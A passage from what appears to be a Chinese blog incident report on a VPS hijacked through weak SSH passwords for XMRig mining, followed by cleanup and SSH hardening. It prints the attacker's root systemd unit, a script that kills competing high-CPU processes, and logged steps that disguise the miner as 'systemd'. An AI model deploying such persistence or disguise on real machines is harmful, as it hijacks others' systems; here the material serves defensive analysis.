Service</span><br><span class="line"><span class="attr">After</span>=network.target</span><br><span class="line"></span><br><span class="line"><span class="section">[Service]</span></span><br><span class="line"><span class="attr">ExecStart</span>=/bin/sh free_proc.sh</span><br><span class="line"><span class="attr">WorkingDirectory</span>=/usr/local/bin</span><br><span class="line"><span class="attr">User</span>=root</span><br><span class="line"><span class="attr">Group</span>=root</span><br><span class="line"><span class="attr">Restart</span>=always</span><br><span class="line"><span class="attr">RestartSec</span>=<span class="number">30</span></span><br></pre></td></tr></table></figure><p>这个 unit 启动的是 <code>/usr/local/bin/free_proc.sh</code>，文件内容只有 4 行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># !/bin/bash</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">true</span>; <span class="keyword">do</span></span><br><span class="line">    ps -eo pid,pcpu,args | awk <span class="string">&#x27;$2 &gt; 200 &amp;&amp; !/systemd/ &#123;print $1&#125;&#x27;</span> | xargs -r <span class="built_in">kill</span> -9</span><br><span class="line">    <span class="built_in">sleep</span> 2</span><br><span class="line"><span class="keyword">done</span></span><br></pre></td></tr></table></figure><p>读懂这个脚本的瞬间我背后凉了一下。</p><p>它每 2 秒钟跑一次，逻辑是：“看看系统里有没有 CPU 占用超过 200%、且 命令行里不含 systemd 字样 的进程，全部 <code>kill -9</code>”。</p><p><strong>这是用来排挤其他矿工的&quot;领地保护脚本&quot;。</strong></p><p>互联网上扫弱密码 SSH 的不是只有这一伙人。当一台机器密码强度差，往往会<strong>被多伙独立的攻击者打穿</strong>——A 团伙先进来部署他们的矿工，B 团伙后到也想部署，结果两伙人在同一台 CPU 上抢，单方算力下降。这个 <code>free_proc.sh</code> 就是 A 团伙的反制：检测到 CPU 高占用而且不是&quot;我&quot;（命令行不含 systemd 字样），直接干掉。</p><p>这个脚本的存在还有一个副作用——<strong>正常的运维工具如果突然耗 CPU 也会被它干掉</strong>。我后来想，万一我跑个 <code>find /</code> 或者 <code>tar -czf</code> 做备份，是不是会被它瞬间 kill？是的，会。这就是为什么入侵后业务表现是&quot;莫名其妙的服务被杀&quot;。</p><p>幸好我的 Java 服务和 OpenWebUI 平时都低于 200% CPU，没被误杀，否则我会更早察觉到异常（虽然代价是业务先挂）。</p><hr><h2 id="七、入侵时间线还原：那-8-秒里发生了什么">七、入侵时间线还原：那 8 秒里发生了什么</h2><p>接下来要溯源——攻击者从哪个口进来的？</p><p>第一件事是读取 SSH。<code>journalctl _COMM=sshd --since &quot;今天 18:30&quot; --until &quot;今天 19:00&quot;</code>，按时间一行一行读：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">Apr 27 18:30:01 sshd: Failed password for root from 92.118.39.195 port 50246 ssh2</span><br><span class="line">Apr 27 18:30:02 sshd: Invalid user aadi-am from 87.121.84.58 port 35992</span><br><span class="line">Apr 27 18:31:50 sshd: Failed password for root from 2.57.122.193 port 24536 ssh2</span><br><span class="line">Apr 27 18:31:52 sshd: Failed password for root from 2.57.122.193 port 24536 ssh2</span><br><span class="line">Apr 27 18:31:56 sshd: Failed password for root from 2.57.122.193 port 24536 ssh2</span><br><span class="line">...</span><br><span class="line">Apr 27 18:33:49 sshd: Failed password for root from 45.148.10.147 port 23512 ssh2</span><br><span class="line">Apr 27 18:33:50 sshd: Invalid user aadi from 87.121.84.58 port 48042</span><br><span class="line">...</span><br><span class="line">Apr 27 18:35:49 sshd: Failed password for root from 45.148.10.141 port 11816 ssh2</span><br><span class="line">...</span><br></pre></td></tr></table></figure><p>先抛出几个观察：</p><ul><li>攻击源 IP 是分布式的：<code>92.118.39.195</code>（保加利亚僵尸主机）、<code>2.57.122.193</code>（保加利亚 OVH）、<code>87.121.84.58</code>（保加利亚）、<code>45.148.10.x</code>（伊朗）、<code>2.57.122.x</code> 整段是知名扫描者</li><li>用户名以 <code>root</code> 为主，偶尔是 <code>aadi</code>、<code>testuser</code>、<code>kalob</code> 等常见弱口令字典里的名字</li><li>节奏是每分钟数十次失败——<strong>这是僵尸网络分布式爆破的标准节奏</strong>，单 IP 不会被防火墙挡（因为分散在几十个 IP 上轮换）</li></ul><p>然后我看到了那一行：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Apr 27 18:42:19 sshd[3487819]: Accepted password for myuser from 154.51.62.34 port 52724 ssh2</span><br><span class="line">Apr 27 18:42:19 sshd[3487819]: pam_unix(sshd:session): session opened for user myuser(uid=1000) by (uid=0)</span><br></pre></td></tr></table></figure><p><strong>18:42:19。来自 <code>154.51.62.34</code>。账户是 myuser（普通用户）。</strong></p><p>注意是 <code>myuser</code>，不是 <code>root</code>。攻击者打穿的不是 root，而是普通用户。这给了我下一个关键信息——所以进 sudo 还需要再来一次密码——继续看：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Apr 27 18:42:24 sudo: myuser : PWD=/home/myuser ; USER=root ; COMMAND=/usr/bin/true</span><br><span class="line">Apr 27 18:42:24 sudo: myuser : PWD=/home/myuser ; USER=root ; COMMAND=/usr/bin/apt-get -y install msr-tools</span><br><span class="line">Apr 27 18:42:25 sudo: myuser : PWD=/home/myuser ; USER=root ; COMMAND=/usr/bin/bash xmrig/randomx_boost.sh</span><br><span class="line">Apr 27 18:42:25 sudo: myuser : PWD=/home/myuser ; USER=root ; COMMAND=/usr/bin/bash xmrig/enable_1gb_pages.sh</span><br><span class="line">Apr 27 18:42:26 sudo: myuser : PWD=/home/myuser ; USER=root ; COMMAND=/usr/bin/mv xmrig/xmrig /usr/local/bin/systemd</span><br><span class="line">Apr 27 18:42:26 sudo: myuser : PWD=/home/myuser ; USER=root ; COMMAND=/usr/bin/mv xmrig/free_proc.sh /usr/local/bin/free_proc.sh</span><br><span class="line">Apr 27 18:42:26 sudo: myuser : PWD=/home/myuser ; USER=root ; COMMAND=/usr/bin/mv xmrig/config.json /usr/local/bin/.config.json</span><br></pre></td></tr></table></figure><p><strong>8 秒。从 18:42:19 ssh 进入到 18:42:27 服务启动，整个挖矿木马的部署只用了 8 秒。</strong></p><p>让我把这 8 秒里发生的事翻译成自然语言：</p><table><thead><tr><th>时间</th><th>动作</th><th>含义</th></tr></thead><tbody><tr><td>18:42:19</td><td>SSH 登录成功（连续 3 次）</td><td>自动化脚本依次执行三个 batch，每个 batch 是一个独立 SSH 会话</td></tr><tr><td>18:42:24</td><td><code>sudo /usr/bin/true</code></td><td>“试探”——看 sudo 是否需要密码、密码是否还和 SSH 那个一样</td></tr><tr><td>18:42:24</td><td><code>sudo apt-get -y install msr-tools</code></td><td>装 MSR 工具，准备做 CPU 寄存器调优</td></tr><tr><td>18:42:25</td><td><code>sudo bash xmrig/randomx_boost.sh</code></td><td>跑 XMRig 自带的 boost 脚本，开 huge pages、关 ASLR、写 MSR</td></tr><tr><td>18:42:25</td><td><code>sudo bash xmrig/enable_1gb_pages.sh</code></td><td>启用 1GB 透明大页</td></tr><tr><td>18:42:26</td><td><code>sudo mv xmrig/xmrig /usr/local/bin/systemd</code></td><td><strong>核心伪装动作</strong>：xmrig 改名叫 systemd 移到系统路径</td></tr><tr><td>18:42:26</td><td><code>sudo mv xmrig/free_proc.sh /usr/local/bin/free_proc.sh</code></td><td>部署&quot;领地保护&quot;脚本</td></tr><tr><td>18:42:26</td><td><code>sudo mv xmrig/config.json /usr/local/bin/.config.json</code></td><td>配置文件改成隐藏文件移过去</td></tr><tr><td>18:42:27</td><td>（未在 sudo 日志中显示）写两个 .service 文件、<code>systemctl enable --now</code></td><td>持久化 + 启动</td></tr></tbody></table><p>注意几个细节：</p><ol><li><strong>第一个 sudo 命令是 <code>/usr/bin/true</code></strong>——这是脚本在测试&quot;sudo 需不需要密码&quot;。如果配的是 <code>NOPASSWD</code>，true 就直接成功；否则会提示密码，脚本会喂入它已经掌握的 SSH 密码（攻击者假设两个密码相同，对大部分粗心运维而言这个假设成立）</li><li><strong>所有命令的 PWD 都是 <code>/home/myuser</code></strong>——意味着 <code>xmrig/</code> 文件夹是直接 wget 到 home 目录解压的，整个操作不留 <code>/tmp</code> 痕迹</li><li><strong>三次 SSH 登录、每次秒级断开</strong>：<code>Disconnected from user myuser 154.51.62.34 port 52724</code> 紧跟着 <code>Accepted</code>——这说明每次连接只跑一两条命令就断，不留交互式 shell。这是为了避开&quot;残余会话被运维注意到&quot;，也是自动化脚本的标志特征</li><li><strong>18:42:27 之后没有任何 myuser 的活动</strong>——攻击者没回头看，说明 <code>enable --now</code> 之后他们就走了，永远不回来</li></ol><p>来自 <code>154.51.62.34</code> 的攻击者（这个 IP 我后来查了下，归属是美国某 VPS 服务商）显然是<strong>自动化僵尸网络的指挥节点</strong>。当扫描器（前面看到的 92.118.39.195、87.121.84.58 等）撞库到一组有效凭证后，会把&quot;目标 IP + 用户名 + 密码&quot;喂给 <code>154.51.62.34</code> 这台部署机器，由后者执行上面那 8 秒的脚本。</p><hr><h2 id="八、攻击者画像：你不是被针对的，你只是被网到了">八、攻击者画像：你不是被针对的，你只是被网到了</h2><p>读懂这次入侵的所有细节之后，我反而轻松下来——<strong>这不是针对我的人为攻击，而是僵尸网络大网捕捞的副产物</strong>。</p><p>证据：</p><ol><li><strong>入口完全套路化</strong>：SSH 22 端口 + 弱密码爆破，没有 0day、没有定向钓鱼、没有供应链</li><li><strong>武器完全套路化</strong>：XMRig + Kryptex 矿池 + 系统名伪装，GitHub 上随便搜 “xmrig systemd persistence” 能找到几十个一样的脚本</li><li><strong>行为完全套路化</strong>：8 秒部署 + 不留交互、不建后门、不窃密、不勒索，目的极其单一就是 <strong>白嫖 CPU</strong></li><li><strong>目标选择完全套路化</strong>：全互联网扫描，谁先扫到谁先进，没有针对性</li></ol><p>这种 “cookie-cutter” 攻击的好处是处置思路也是套路化的——网上能找到一模一样的事件分析、清理脚本、加固指南。坏处是它<strong>永远不会停</strong>：今天清理完，明天有新一波僵尸网络扫到你，密码弱依然会被打穿；你换个新机器、用新密码，几个小时之内 22 端口又开始被爆破。</p><p>互联网安全公司 <a href="https://www.greynoise.io/">Greynoise</a> 长期监测 SSH 22 端口的扫描流量：<strong>任何一台公网 VPS 上线后，平均 4-12 小时内就会收到第一批爆破请求；24 小时内就会被全球扫描节点完整 fingerprint。</strong></p><p>公网就是丛林。</p><hr><h2 id="九、为什么我会被打穿？三个根本原因">九、为什么我会被打穿？三个根本原因</h2><h3 id="9-1-SSH-22-端口暴露公网">9.1 SSH 22 端口暴露公网</h3><p>这是最大的口子。任何在公网监听的端口都会被扫描器覆盖到——SSH 22 是头号目标，因为成功率最高、收益最大。</p><p><strong>正确做法</strong>：</p><ul><li>私有网络 VPC + 堡垒机</li><li>或者用 <a href="https://www.wireguard.com/">WireGuard</a> / <a href="https://tailscale.com/">Tailscale</a> 之类的 mesh VPN，22 端口完全关闭</li><li>或者至少改 SSH 端口（治标但有效，能挡掉 99% 的自动化扫描器）</li></ul><h3 id="9-2-SSH-允许密码登录">9.2 SSH 允许密码登录</h3><p>这是次大的问题。SSH 默认配置允许密码 + 密钥两种认证方式同时启用。只要密码这条路开着，密码强度就成了攻防的关键变量。</p><p>但密码强度本身是有上限的：</p><table><thead><tr><th>密码类型</th><th>熵估算</th><th>暴力破解时间（万 GH/s）</th></tr></thead><tbody><tr><td>8 位字母数字</td><td>~48 位</td><td>数小时</td></tr><tr><td>12 位混合 + 符号</td><td>~78 位</td><td>数十年（理论上）</td></tr><tr><td>16 位真随机</td><td>~104 位</td><td>不可破</td></tr><tr><td>ed25519 私钥</td><td>~256 位</td><td>宇宙寿命级别</td></tr></tbody></table><p><strong>注意</strong> “12 位混合 + 符号” 看似数十年破不了，但<strong>只在密码是真随机时成立</strong>。如果是 <code>用户名 + 数字 + 特殊符号</code> 这种带语义结构的密码，对僵尸网络的字典-规则引擎来说，实际熵远低于 78 位——可能只有 30 位左右。这就是我这次中招的根本原因。</p><h3 id="9-3-用户在-sudo-组里、且-sudo-用同一个密码">9.3 用户在 sudo 组里、且 sudo 用同一个密码</h3><p><code>/etc/sudoers.d/</code> 下的配置允许 <code>sudo</code> 组成员执行任意命令（凭密码授权）。当用户密码 = SSH 密码时，攻击者拿到 SSH 凭证 = 同时拿到 sudo 凭证 = 直接 root。</p><p>这是 Linux 默认安装的 footgun。<code>useradd -G sudo</code> + 同密码 = 普通用户和 root 之间没有任何屏障。</p><hr><h2 id="十、处置：四阶段灭火">十、处置：四阶段灭火</h2><p>理清楚是什么、怎么进来的之后，开始处置。我把这次清理分成四个阶段，按&quot;止血优先、不破坏证据&quot;的次序：</p><h3 id="10-1-阶段一：止血（让-CPU-降下来）">10.1 阶段一：止血（让 CPU 降下来）</h3><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 停服务并禁用自启</span></span><br><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">disable</span> --now systemd.service observed.service</span><br><span class="line"></span><br><span class="line"><span class="comment"># 强杀残余进程（理论上 stop 已经处理了，但保险）</span></span><br><span class="line"><span class="built_in">sudo</span> pkill -9 -f /usr/local/bin/systemd</span><br><span class="line"><span class="built_in">sudo</span> pkill -9 -f free_proc.sh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 验证</span></span><br><span class="line">ps -ef | grep -E <span class="string">&#x27;/usr/local/bin/systemd|free_proc&#x27;</span> | grep -v grep</span><br><span class="line"><span class="comment"># 应当为空</span></span><br></pre></td></tr></table></figure><p>执行后第一时间看 <code>uptime</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">load average: 0.46, 5.86, 9.95</span><br></pre></td></tr></table></figure><p>1 分钟平均 load 从 9.58 降到 0.46。CPU 救活了。</p><h3 id="10-2-阶段二：清除痕迹（删除-IOC）">10.2 阶段二：清除痕迹（删除 IOC）</h3><p>按发现的清单逐个删除：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> -f /etc/systemd/system/systemd.service \</span><br><span class="line">           /etc/systemd/system/observed.service \</span><br><span class="line">           /usr/local/bin/systemd \</span><br><span class="line">           /usr/local/bin/.config.json \</span><br><span class="line">           /usr/local/bin/.bench.log \</span><br><span class="line">           /usr/local/bin/free_proc.sh</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> systemctl daemon-reload</span><br><span class="line"></span><br><span class="line"><span class="comment"># 卸掉攻击者装的 msr-tools（这工具本身没问题，但既然不需要就清掉）</span></span><br><span class="line"><span class="built_in">sudo</span> apt-get -y purge msr-tools</span><br></pre></td></tr></table></figure><h3 id="10-3-阶段三：堵入口（这才是关键）">10.3 阶段三：堵入口（这才是关键）</h3><p>如果只做前两步而不做这一步，几个小时之后扫描器会重新撞进来——清理多少次都没用。</p><p><strong>第一件事：换密码。</strong> 旧密码已经被泄漏过，攻击者完全可以再来一次。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 用强随机密码替换</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;myuser:&lt;新强密码&gt;&#x27;</span> | <span class="built_in">sudo</span> chpasswd</span><br></pre></td></tr></table></figure><p><strong>第二件事：禁用 root 远程密码登录。</strong> 这一步立竿见影——log 里之前 95% 的爆破都是冲 root 来的：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> sed -i -E <span class="string">&#x27;s/^[# ]*PermitRootLogin .*/PermitRootLogin prohibit-password/&#x27;</span> /etc/ssh/sshd_config</span><br><span class="line"><span class="built_in">sudo</span> sshd -t  <span class="comment"># 验证配置语法</span></span><br><span class="line"><span class="built_in">sudo</span> systemctl reload ssh</span><br></pre></td></tr></table></figure><p><code>PermitRootLogin prohibit-password</code> 的意思是 “root 可以登录，但只能用密钥，不能用密码”。</p><p><strong>第三件事：把之前误关的 PubkeyAuthentication 打开。</strong> 我之前因为某次配置失误把 <code>PubkeyAuthentication no</code> 写进了配置（这是个反常配置——正常 sshd 默认是 yes）。修回 yes：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> sed -i -E <span class="string">&#x27;s/^[# ]*PubkeyAuthentication .*/PubkeyAuthentication yes/&#x27;</span> /etc/ssh/sshd_config</span><br><span class="line"><span class="built_in">sudo</span> systemctl reload ssh</span><br></pre></td></tr></table></figure><p>注意此时还没有禁掉 PasswordAuthentication——下一步先做减速带（fail2ban），最后再做永久封锁。</p><h3 id="10-4-阶段四：fail2ban">10.4 阶段四：fail2ban</h3><p><a href="https://github.com/fail2ban/fail2ban">fail2ban</a> 通过解析日志自动给爆破 IP 加 iptables 封禁规则。我用的配置：</p><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># /etc/fail2ban/jail.local</span></span><br><span class="line"><span class="section">[DEFAULT]</span></span><br><span class="line"><span class="attr">bantime</span>  = <span class="number">24</span>h</span><br><span class="line"><span class="attr">findtime</span> = <span class="number">10</span>m</span><br><span class="line"><span class="attr">maxretry</span> = <span class="number">5</span></span><br><span class="line"><span class="attr">backend</span>  = systemd</span><br><span class="line"><span class="attr">banaction</span> = iptables-multiport</span><br><span class="line"><span class="attr">ignoreip</span> = <span class="number">127.0</span>.<span class="number">0.1</span>/<span class="number">8</span> ::<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="section">[sshd]</span></span><br><span class="line"><span class="attr">enabled</span> = <span class="literal">true</span></span><br><span class="line"><span class="attr">port</span>    = ssh</span><br><span class="line"><span class="attr">mode</span>    = aggressive</span><br></pre></td></tr></table></figure><p>含义：10 分钟内 5 次 SSH 失败 → 封 IP 24 小时。<code>backend = systemd</code> 让 fail2ban 直接读 journald 而不是 <code>/var/log/auth.log</code>（更精确，不会漏 rotate 期间的事件）。</p><p>启动：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl restart fail2ban</span><br><span class="line"><span class="built_in">sleep</span> 2</span><br><span class="line"><span class="built_in">sudo</span> fail2ban-client status sshd</span><br></pre></td></tr></table></figure><p>输出让我笑了：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">Status for the jail: sshd</span><br><span class="line">|- Filter</span><br><span class="line">|  |- Currently failed:9</span><br><span class="line">|  |- Total failed:61</span><br><span class="line">|  `- Journal matches:_SYSTEMD_UNIT=sshd.service + _COMM=sshd</span><br><span class="line">`- Actions</span><br><span class="line">   |- Currently banned:5</span><br><span class="line">   |- Total banned:5</span><br><span class="line">   `- Banned IP list:2.57.122.190 87.121.84.58 45.148.10.152 92.118.39.195 92.118.39.197</span><br></pre></td></tr></table></figure><p>fail2ban 启动后<strong>当场封禁了 5 个之前一直在爆破的攻击 IP</strong>——这些 IP 是从 journal 里反查出来的&quot;近 10 分钟内累计失败 5+ 次&quot;的源。从这一刻起这 5 个 IP 24 小时内连握手都握不上了。</p><hr><h2 id="十一、最后一步：禁用密码登录">十一、最后一步：禁用密码登录</h2><p>到这里我有一个犹豫。</p><p>fail2ban 已经装上了。新密码是 16 位随机的，真实熵 90+ 位，理论上撑到宇宙热寂之后才能被破。再加上 root 不能密码登录、fail2ban 5 次失败封 24 小时——<strong>为什么不就这样了？</strong></p><p>我犹豫的真正原因是：<strong>禁用密码登录有锁外面的风险</strong>。如果我手头没有有效的 SSH 私钥，或者私钥意外丢了，禁掉密码登录就意味着我自己也进不去服务器。这对生产服务来说是灾难。</p><p>但仔细想想，犹豫的本质不是&quot;密码足够强了&quot;，而是&quot;我害怕被自己锁在外面&quot;。这是工程上很常见的一种偏见——<strong>为了避免一个低概率的小损失，放弃一个高确定性的大收益</strong>。</p><p>让我把账算一遍：</p><p><strong>保留密码登录的代价：</strong></p><ul><li>fail2ban 是减速带，不是屏障——僵尸网络分布式爆破单 IP 失败率本来就高，只要每个 IP 4 次以下，用足够多的 IP 轮替，理论上可以无限尝试</li><li>新密码再强也是有限熵的字符串，受键盘记录、肩窥、剪贴板泄漏、终端历史泄漏、备份泄漏等多种威胁</li><li>“等下次出事再处理” 是负债式思维——在被入侵的代价已经验证过的情况下，继续保留可疑路径是错配的风险定价</li></ul><p><strong>禁用密码登录的代价：</strong></p><ul><li>一次配置错误可能锁死自己。但<strong>只要先验证&quot;密钥能登录&quot;再禁用密码</strong>，这个代价是 0</li></ul><p>收益 vs. 代价比较起来非常清楚。所以最后这一步必须做。</p><p>为了万无一失，我做了三层验证：</p><p><strong>第一层：在禁用前，独立测试密钥登录是否真的工作。</strong></p><p>在我的 Mac 上：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ssh -o BatchMode=<span class="built_in">yes</span> \</span><br><span class="line">    -o PreferredAuthentications=publickey \</span><br><span class="line">    -o IdentitiesOnly=<span class="built_in">yes</span> \</span><br><span class="line">    -i ~/.ssh/id_ed25519 \</span><br><span class="line">    myuser@my-vps \</span><br><span class="line">    <span class="string">&#x27;echo PUBKEY_LOGIN_OK &amp;&amp; id &amp;&amp; hostname&#x27;</span></span><br></pre></td></tr></table></figure><p><code>BatchMode=yes</code> + <code>PreferredAuthentications=publickey</code> 强制只走密钥这一条路，不允许密码 fallback。如果输出有 <code>PUBKEY_LOGIN_OK</code>，说明密钥这条路是 100% 通的。</p><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">PUBKEY_LOGIN_OK</span><br><span class="line">uid=1000(myuser) gid=1000(myuser) groups=1000(myuser),27(sudo),100(users),996(docker)</span><br><span class="line">my-vps</span><br></pre></td></tr></table></figure><p>完美。</p><p><strong>第二层：保留一个已建立的 SSH 会话作为安全网。</strong></p><p>reload sshd 不会踢现有连接（这是 sshd 的默认行为）。所以我先单独开一个 shell 一直保持连接，这样即使新配置出错导致新会话建不上，我还有这个老会话能改回去。</p><p><strong>第三层：原子修改 + 立即 reload + 立即验证。</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> /etc/ssh/sshd_config /etc/ssh/sshd_config.bak.$(<span class="built_in">date</span> +%s)</span><br><span class="line"><span class="built_in">sudo</span> sed -i -E <span class="string">&#x27;s/^[# ]*PasswordAuthentication .*/PasswordAuthentication no/&#x27;</span> /etc/ssh/sshd_config</span><br><span class="line"><span class="built_in">sudo</span> sshd -t &amp;&amp; <span class="built_in">echo</span> CONFIG_OK</span><br><span class="line"><span class="built_in">sudo</span> systemctl reload ssh</span><br></pre></td></tr></table></figure><p>然后立即在另一个终端做 3 个测试：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 测试 1：密钥登录（应成功）</span></span><br><span class="line">ssh -o BatchMode=<span class="built_in">yes</span> -o PreferredAuthentications=publickey \</span><br><span class="line">    -i ~/.ssh/id_ed25519 myuser@my-vps <span class="string">&#x27;echo KEY_OK&#x27;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试 2：密码登录（应被拒）</span></span><br><span class="line">ssh -o BatchMode=<span class="built_in">yes</span> -o PreferredAuthentications=password \</span><br><span class="line">    -o PubkeyAuthentication=no \</span><br><span class="line">    myuser@my-vps <span class="string">&#x27;echo SHOULD_NOT_SEE_THIS&#x27;</span> 2&gt;&amp;1 | <span class="built_in">tail</span> -3</span><br><span class="line"></span><br><span class="line"><span class="comment"># 测试 3：root 密码登录（应被拒）</span></span><br><span class="line">ssh -o BatchMode=<span class="built_in">yes</span> -o PreferredAuthentications=password \</span><br><span class="line">    -o PubkeyAuthentication=no \</span><br><span class="line">    root@my-vps <span class="string">&#x27;echo SHOULD_NOT_SEE_THIS&#x27;</span> 2&gt;&amp;1 | <span class="built_in">tail</span> -3</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">=== 测试 1: 密钥登录（应成功）===</span><br><span class="line">KEY_OK</span><br><span class="line"></span><br><span class="line">=== 测试 2: 密码登录（应被拒）===</span><br><span class="line">myuser@my-vps: Permission denied (publickey).</span><br><span class="line"></span><br><span class="line">=== 测试 3: root 密码登录（应被拒）===</span><br><span class="line">root@my-vps: Permission denied (publickey).</span><br></pre></td></tr></table></figure><p><strong>三连成功</strong>：密钥通、密码登录都被 sshd 直接以 “publickey only” 拒掉。从这一刻起，密码爆破在我的服务器上<strong>数学不可能</strong>——即使攻击者拿到了我的密码，也没用，因为 sshd 根本不会进入密码验证流程。</p><hr><h2 id="十二、关于-ed25519-密钥的几个数学事实">十二、关于 ed25519 密钥的几个数学事实</h2><p>为什么 ed25519 比密码安全得多？</p><p><strong>Ed25519</strong> 是一种基于 Edwards 曲线 25519 的数字签名算法，公钥/私钥长度都是 256 位。它的安全性基于&quot;在椭圆曲线上求离散对数是难的&quot;这一密码学假设。</p><p>256 位的安全强度等价于对称加密的 128 位——<strong>用宇宙中所有的计算资源都不可能在宇宙寿命内暴力破解</strong>。</p><p>更具体的数学：</p><ul><li>AES-128 暴力破解需要 2^128 次操作</li><li>假设用现今地球上最强的超算 <a href="https://www.olcf.ornl.gov/frontier/">Frontier</a>（2 EFLOPS = 2×10^18 次/秒）连续运算</li><li>2^128 / (2×10^18) ≈ 5.4×10^21 秒 ≈ 1.7×10^14 年</li><li>宇宙年龄约 1.4×10^10 年</li><li>所以暴力破解 AES-128 需要 1 万倍宇宙年龄</li></ul><p>ed25519 提供等价于 AES-128 的安全强度。再说一次：<strong>用整个地球的计算资源、连续运行 1 万倍宇宙年龄，才有可能撞中你的私钥。</strong></p><p>而 SSH 协议中的密钥认证是这样工作的：</p><ol><li>客户端连接服务器</li><li>服务器随机生成一段 challenge 数据</li><li>客户端用私钥对 challenge 签名，把签名送回去</li><li>服务器用 authorized_keys 里的对应公钥验证签名</li></ol><p>私钥本身<strong>永远不离开客户端</strong>，连签名也是一次性的（每次连接都是不同的 challenge）。中间人即使全程录制流量，也无法伪造下一次连接的签名。</p><p>对比密码：客户端把密码（或派生的 hash）发给服务器，服务器对比存储的 hash。如果在任何环节（客户端、传输、服务器内存、终端历史、键盘记录器）里泄露了那串字符，就完蛋。<strong>密钥的&quot;秘密&quot;从不传输，密码的&quot;秘密&quot;必须传输。</strong></p><hr><h2 id="十三、复盘的几个反直觉发现">十三、复盘的几个反直觉发现</h2><p>清理完之后，我又花了一小时全面排查&quot;有没有遗漏的后门&quot;。结果挺反直觉：</p><p><strong>1. 攻击者没在 root 的 .ssh/authorized_keys 加自己的公钥</strong></p><p><code>cat /root/.ssh/authorized_keys</code> 是空的——意味着即使攻击者拿到了 root，他也没建立&quot;日后可以无密码 SSH 进来&quot;的后门。</p><p><strong>2. 攻击者没建新用户</strong></p><p><code>/etc/passwd</code> 里只有原来的 root + myuser，没有 <code>aadmin</code>、<code>backup</code>、<code>postgres</code>（伪装成数据库账户的常见手法）这些。</p><p><strong>3. 攻击者没改 